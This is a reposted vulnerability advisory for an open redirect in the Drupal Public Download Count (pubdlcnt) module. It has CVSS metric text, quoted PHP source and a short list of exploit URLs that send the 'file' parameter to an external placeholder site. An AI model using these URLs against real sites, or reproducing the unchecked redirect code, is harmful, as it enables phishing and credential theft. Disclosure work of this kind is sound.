The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
None
PR
The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
None
C
There is no impact on the confidentiality of the system; the attacker does not gain the ability to read any data.
Integrity
Low
I
Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability
None
A
There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.
Below is a copy: Drupal Pubdlcnt 7.x-1.2 Open Redirection
############################################################################
# Exploit Title : Drupal Pubdlcnt Modules 7.x-1.2 Public Download Count Open Redirection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 20/02/2019
# Vendor Homepage : drupal.org
# Software Download Links : ftp.drupal.org/files/projects/pubdlcnt-7.x-1.3.tar.gz
ftp.drupal.org/files/projects/pubdlcnt-6.x-1.x-dev.zip
ftp.drupal.org/files/projects/pubdlcnt-7.x-1.x-dev.zip
ftp.drupal.org/files/projects/pubdlcnt-7.x-1.1.zip
ftp.drupal.org/files/projects/pubdlcnt-7.x-1.2.zip
drupal.org/project/pubdlcnt/releases
# Software Information Link : drupal.org/project/pubdlcnt
# Software Affected Versions : 8.x-1.x-dev - 6.x-1.x-dev - 7.x-1.x-dev - 7.x-1.1 - 7.x-1.2 - 7.x-1.3
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : High
# Vulnerability Type : CWE-601 [ URL Redirection to Untrusted Site ('Open Redirect') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
############################################################################
# Description about Software :
***************************
Public Download Count keeps track of file download counts.
Key Features =>
It is designed to work under the Drupal's public file system.
It can count the download of the file on external servers.
You can specify valid extensions of the target files.
You can see the yearly, monthly and daily download count for each file.
You can export the download count data as a CSV file.
It does not modify the original contents.
It works with the downloadable files listed in Views tables and lists.
You can create multiple blocks to show top download of specified period.
############################################################################
# Impact and Consequences :
**************************
This web application Drupal Pubdlcnt Modules 7.x-1.3 Public Download Count [ and other versions ]
accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect.
This simplifies phishing attacks. An http parameter may contain a URL value and could cause
the web application to redirect the request to the specified URL. By modifying the URL
value to a malicious site, an attacker may successfully launch a phishing scam and steal
user credentials. Because the server name in the modified link is identical to the original site, phishing
attempts have a more trustworthy appearance.
############################################################################
Example Vulnerable Source Code 2 : [ Version 6.x-1.x-dev and 7.x-1.2 other versions, too]
*****************************************************************************
<?php
// $Id:
/**
* @file
*
* file download external script
*
* @ingroup pubdlcnt
*
* Usage: pubdlcnt.php?file=http://server/path/file.ext
*
* Requirement: PHP5 - get_headers() function is used
* (The script works fine with PHP4 but better with PHP5)
*
* NOTE: we can not use variable_get() function from this external PHP program
* since variable_get() depends on Drupal's internal global variable.
* So we need to directly access {variable} table of the Drupal databse
* to obtain some module settings.
*
* Copyright 2009 Hideki Ito <[email protected]> Pixture Inc.
* Distributed under the GPL Licence.
*/
/**
* Step-1: start Drupal's bootstrap to use drupal database
* and includes necessary drupal files
*/
$current_dir = getcwd();
// we need to change the current directory to the (drupal-root) directory
// in order to include some necessary files.
if (file_exists('../../../../includes/bootstrap.inc')) {
// If this script is in the (drupal-root)/sites/(site)/modules/pubdlcnt directory
chdir('../../../../'); // go to drupal root
}
else if (file_exists('../../includes/bootstrap.inc')) {
// If this script is in the (drupal-root)/modules/pubdlcnt directory
chdir('../../'); // go to drupal root
}
else {
// Non standard location: you need to edit the line below so that chdir()
// command change the directory to the drupal root directory of your server
// using an absolute path.
// First, please delete the line below and then edit the next line
print "Error: Public Download Count module failed to work. The file pubdlcnt.php requires manual editing.\n";
chdir('/absolute-path-to-drupal-root/'); // <---- edit this line!
if (!file_exits('./includes/bootstrap.inc')) {
// We can not locate the bootstrap.inc file, let's give up using the
// script and just fetch the file
header('Location: ' . $_GET['file']);
exit;
}
}
include_once './includes/bootstrap.inc';
// following two lines are needed for check_url() and valid_url() call
include_once './includes/common.inc';
include_once './modules/filter/filter.module';
// start Drupal bootstrap for accessing database
drupal_bootstrap(DRUPAL_BOOTSTRAP_DATABASE);
chdir($current_dir);
/**
* Step-2: get file query value (URL of the actual file to be downloaded)
*/
$url = check_url($_GET['file']);
$nid = check_url($_GET['nid']);
if (!eregi("^(f|ht)tps?:\/\/.*", $url)) { // check if this is absolute URL
// if the URL is relative, then convert it to absolute
$url = "http://" . $_SERVER['SERVER_NAME'] . $url;
}
/**
* Step-3: check if the url is valid or not
*/
if (is_valid_file_url($url)) {
/**
* Step-4: update counter data (only if the URL is valid and file exists)
*/
$filename = basename($url);
pubdlcnt_update_counter($filename, $nid);
}
/**
* Step-5: redirect to the original URL of the file
*/
header('Location: ' . $url);
exit;
/**
* Function to check if the specified file URL is valid or not
*/
function is_valid_file_url($url) {
// replace space characters in the URL with '%20' to support file name
// with space characters
$url = preg_replace('/\s/', '%20', $url);
if (!valid_url($url, true)) {
return false;
}
// URL end with slach (/) and no file name
if (preg_match('/\/$/', $url)) {
return false;
}
// in case of FTP, we just return TRUE (the file exists)
if (preg_match('/ftps?:\/\/.*/i', $url)) {
return true;
}
// extract file name and extention
$filename = basename($url);
$extension = explode(".", $filename);
// file name does not have extension
if (($num = count($extension)) <= 1) {
return false;
}
$ext = $extension[$num - 1];
// get valid extensions settings from Drupal
$result = db_query("SELECT value FROM {variable}
WHERE name = 'pubdlcnt_valid_extensions'");
$valid_extensions = unserialize(db_result($result));
if (!empty($valid_extensions)) {
// check if the extension is a valid extension or not (case insensitive)
$s_valid_extensions = strtolower($valid_extensions);
$s_ext = strtolower($ext);
$s_valid_ext_array = explode(" ", $s_valid_extensions);
if (!in_array($s_ext, $s_valid_ext_array)) {
return false;
}
}
if (!url_exists($url)) {
return false;
}
return true; // it seems that the file URL is valid
}
/**
* Function to check if the specified file URL really exists or not
*/
function url_exists($url) {
$a_url = parse_url($url);
if (!isset($a_url['port'])) $a_url['port'] = 80;
$errno = 0;
$errstr = '';
$timeout = 30;
if (isset($a_url['host']) && $a_url['host'] != gethostbyname($a_url['host'])) {
$fid = @fsockopen($a_url['host'], $a_url['port'], $errno, $errstr, $timeout);
if (!$fid) return false;
$page = isset($a_url['path']) ? $a_url['path'] : '';
$page .= isset($a_url['query']) ? '?' . $a_url['query'] : '';
fputs($fid, 'HEAD ' . $page . ' HTTP/1.0' . "\r\n" . 'HOST: '
. $a_url['host'] . "\r\n\r\n");
$head = fread($fid, 4096);
$head = substr($head, 0, strpos($head, 'Connection: close'));
fclose($fid);
// Here are popular status code back from the server
//
// URL exits 'HTTP/1.1 200 OK'
// URL exits (but redirected) 'HTTP/1.1 302 Found'
// URL does not exits 'HTTP/1.1 404 Not Found'
// Can not access URL 'HTTP/1.1 403 Forbidden'
// Can not access server 'HTTP/1.1 500 Internal Server Error
//
// So we return true only when status 200 or 302
if (preg_match('#^HTTP/.*\s+[200|302]+\s#i', $head)) {
return $pos !== false;
}
}
return false;
}
/**
* Function to update the data base with new counter value
*/
function pubdlcnt_update_counter($name, $nid) {
$count = 1;
$name = db_escape_string($name);// security purpose
if (empty($nid)) { // node nid is invalid
return;
}
// today(00:00:00AM) in Unix time
$today = mktime(0, 0, 0, date("m"), date("d"), date("Y"));
// convert to datettime format
$mysqldate = date("Y-m-d H:i:s", $today);
$result = db_query("SELECT * FROM {pubdlcnt} WHERE name='%s' AND date='%s'",
$name, $mysqldate);
if ($rec = db_fetch_object($result)) {
$count = $rec->count + 1;
// update an existing record
db_query("UPDATE {pubdlcnt} SET count=%d WHERE name='%s' AND date='%s'",
$count, $name, $mysqldate);
}
else {
// insert a new record
db_query("INSERT INTO {pubdlcnt} (name, nid, date, count) VALUES ('%s', %d, '%s', %d)",
$name, $nid, $mysqldate, $count);
}
}
?>
############################################################################
# Another Vulnerable Source Code => [ pubdlcnt.php ] => Version 7.x-1.3
****************************************************************
<?php
/**
* @file
* File download external script.
*
* @ingroup pubdlcnt
*
* Usage: pubdlcnt.php?fid={file_id}
*
* NOTE: we can not use variable_get() function from this external PHP program
* since variable_get() depends on Drupal's internal global variable.
* So we need to directly access {variable} table of the Drupal databse
* to obtain some module settings.
*
* Copyright 2016 Corey Halpin <[email protected]>
* Copyright 2009 Hideki Ito <[email protected]> Pixture Inc.
* See LICENSE.txt for licensing terms.
*/
// Step-1: start Drupal's bootstrap to use drupal database
// and includes necessary drupal files:
$current_dir = getcwd();
// We need to change the current directory to the (drupal-root) directory
// in order to include some necessary files.
if (file_exists('../../../../includes/bootstrap.inc')) {
// If this script is in the (drupal-root)/sites/(site)/modules/pubdlcnt
// directory, go to drupal root:
chdir('../../../../');
}
elseif (file_exists('../../includes/bootstrap.inc')) {
// If this script is in the (drupal-root)/modules/pubdlcnt directory,
// go to drupal root:
chdir('../../');
}
else {
// Non standard location: you need to edit the line below so that chdir()
// command change the directory to the drupal root directory of your server
// using an absolute path.
// First, please delete the line below and then edit the next line.
print "Error: Public Download Count module failed to work. The file pubdlcnt.php requires manual editing.\n";
chdir('/absolute-path-to-drupal-root/');
if (!file_exists('./includes/bootstrap.inc')) {
exit;
}
}
define('DRUPAL_ROOT', realpath(getcwd()));
include_once DRUPAL_ROOT . '/includes/bootstrap.inc';
// Following two lines are needed for check_url() and valid_url() call:
include_once DRUPAL_ROOT . '/includes/common.inc';
include_once DRUPAL_ROOT . '/modules/filter/filter.module';
// Start Drupal bootstrap for accessing database:
drupal_bootstrap(DRUPAL_BOOTSTRAP_DATABASE);
chdir($current_dir);
// Step 2: Get file query value (fid of the file todownload)
if (!isset($_GET["fid"])) {
header($_SERVER["SERVER_PROTOCOL"] . " 400 Bad Request");
print "<pre>ERROR: no file specified for donwload.</pre>";
exit;
}
// Check that the fid given is valid:
$rec = db_query(
"SELECT * FROM {pubdlcnt} WHERE fid=:fid",
[':fid' => $_GET["fid"]]
)->fetchObject();
if ($rec === FALSE) {
header($_SERVER["SERVER_PROTOCOL"] . " 400 Bad Request");
print "<pre>ERROR: invalid fid provided.</pre>";
exit;
}
$url = $rec->url;
$nid = $rec->nid;
// Is this an absolute url?
if (!preg_match("%^(f|ht)tps?://.*%i", $url)) {
// If the URL is relative, then convert it to absolute:
$url = "http://" . $_SERVER['SERVER_NAME'] . $url;
}
// Step 3: Check that the URL is valid:
if (!pubdlcnt_is_valid_file_url($url)) {
header($_SERVER["SERVER_PROTOCOL"] . " 400 Bad Request");
print "<pre>ERROR: Invalid download url.</pre>";
exit;
}
// Step 4: If this is an external link and referer is also external, refuse to
// redirect to prevent an open redirect vulnerability.
$tgt_domain = parse_url($url, PHP_URL_HOST);
$referer = isset($_SERVER["HTTP_REFERER"]) ?
parse_url($_SERVER["HTTP_REFERER"], PHP_URL_HOST) :
FALSE;
if ($tgt_domain != $_SERVER['SERVER_NAME'] &&
$referer != $_SERVER['SERVER_NAME']) {
header($_SERVER["SERVER_PROTOCOL"] . " 400 Bad Request");
print "<pre>Refusing to redirect to external site.</pre>";
exit;
}
// Step 5: At this point, request must be valid. Update counter data.
pubdlcnt_update_counter($rec->fid);
// Step 6: redirect to the original URL of the file:
header('Cache-Control: max-age=0');
header('Location: ' . $url);
/**
* Function to check if the specified file URL is valid or not.
*
* @param string $url
* Url to check.
*
* @return bool
* TRUE for valid files, FALSE otherwise.
*/
function pubdlcnt_is_valid_file_url(string $url) {
// Replace space characters in the URL with '%20' to support file name
// with space characters:
$url = preg_replace('/\s/', '%20', $url);
if (!valid_url($url, TRUE)) {
return FALSE;
}
// URL end with slach (/) and no file name:
if (preg_match('/\/$/', $url)) {
return FALSE;
}
// In case of FTP, we just return TRUE (the file exists):
if (preg_match('/ftps?:\/\/.*/i', $url)) {
return TRUE;
}
// Extract file name and extension:
$filename = basename($url);
$extension = explode(".", $filename);
// File name does not have extension:
if (($num = count($extension)) <= 1) {
return FALSE;
}
$ext = $extension[$num - 1];
// Get valid extensions settings from Drupal:
$result = db_query("SELECT value FROM {variable}
WHERE name = :name", array(':name' => 'pubdlcnt_valid_extensions'))->fetchField();
$valid_extensions = unserialize($result);
if (!empty($valid_extensions)) {
// Check if the extension is a valid extension or not (case insensitive):
$s_valid_extensions = strtolower($valid_extensions);
$s_ext = strtolower($ext);
$s_valid_ext_array = explode(" ", $s_valid_extensions);
if (!in_array($s_ext, $s_valid_ext_array)) {
return FALSE;
}
}
// Check if url exists:
$result = drupal_http_request($url, array("method" => "HEAD"));
if ($result->code != 200) {
return FALSE;
}
// It seems that the file URL is valid:
return TRUE;
}
/**
* Function to check duplicate download from the same IP address within a day.
*
* @param int $fid
* Id of file being downloaded.
*
* @return int
* 0 - OK, 1 - duplicate (skip counting)
*/
function pubdlcnt_check_duplicate(int $fid) {
// Get the settings:
$result = db_query("SELECT value FROM {variable} WHERE name = :name",
array(':name' => 'pubdlcnt_skip_duplicate'))->fetchField();
$skip_duplicate = unserialize($result);
if (!$skip_duplicate) {
return 0;
}
// OK, we should check the duplicate download:
$ip = filter_var(ip_address(), FILTER_VALIDATE_IP);
if ($ip === FALSE) {
// Invalid IPv4 address:
return 1;
}
// Unix timestamp:
$today = mktime(0, 0, 0, date("m"), date("d"), date("Y"));
$result = db_query(
"SELECT * FROM {pubdlcnt_ip} WHERE fid=:fid AND ip=:ip AND utime=:utime", [
':fid' => $fid,
':ip' => $ip,
':utime' => $today,
]);
if ($result->rowCount()) {
// Found duplicate!
return 1;
}
// Add IP address to the database:
db_insert('pubdlcnt_ip')
->fields([
'fid' => $fid,
'ip' => $ip,
'utime' => $today,
])->execute();
return 0;
}
/**
* Function to update the data base with new counter value.
*
* @param int $fid
* Id of file being downloaded.
*/
function pubdlcnt_update_counter(int $fid) {
// Check the duplicate download from the same IP and skip updating counter:
if (pubdlcnt_check_duplicate($fid)) {
return;
}
db_update('pubdlcnt')
->expression('count', 'count + 1')
->condition('fid', $fid)
->execute();
// Get the settings:
$result = db_query(
"SELECT value FROM {variable} WHERE name=:name",
[':name' => 'pubdlcnt_save_history']
)->fetchField();
$save_history = unserialize($result);
if ($save_history) {
$today = mktime(0, 0, 0, date("m"), date("d"), date("Y"));
db_merge('pubdlcnt_history')
->key(['fid' => $fid, 'utime' => $today])
->fields(['count' => 1])
->expression('count', 'count + 1')
->execute();
}
}
############################################################################
Another Vulnerable Source Code 2 :
*******************************
$url = check_url($_GET['file']);
$nid = check_url($_GET['nid']);
if (!eregi("^(f|ht)tps?:\/\/.*", $url)) { // check if this is absolute URL
// if the URL is relative, then convert it to absolute
$url = "http://" . $_SERVER['SERVER_NAME'] . $url;
}
if (is_valid_file_url($url)) {
$filename = basename($url);
pubdlcnt_update_counter($url, $filename, $nid);
header('Location: ' . $url);
exit;
############################################################################
# Open Redirection Exploit :
**************************
Usage: pubdlcnt.php?fid={file_id}
Usage: pubdlcnt.php?file=http://server/
/web/modules/pubdlcnt/pubdlcnt.php?file=https://www.[OPEN-REDIRECT-ADDRESS].gov/
/sites/all/modules/pubdlcnt/pubdlcnt.php?file=https://www.[OPEN-REDIRECT-ADDRESS].gov/
/sites/all/modules/patched/pubdlcnt/pubdlcnt.php?file=https://www.[OPEN-REDIRECT-ADDRESS].gov/
/sites/all/modules/contributed/other/pubdlcnt/pubdlcnt.php?file=https://www.[OPEN-REDIRECT-ADDRESS].gov/
####################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
####################################################################
This information is provided for TESTING and LEGAL RESEARCH purposes only. All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum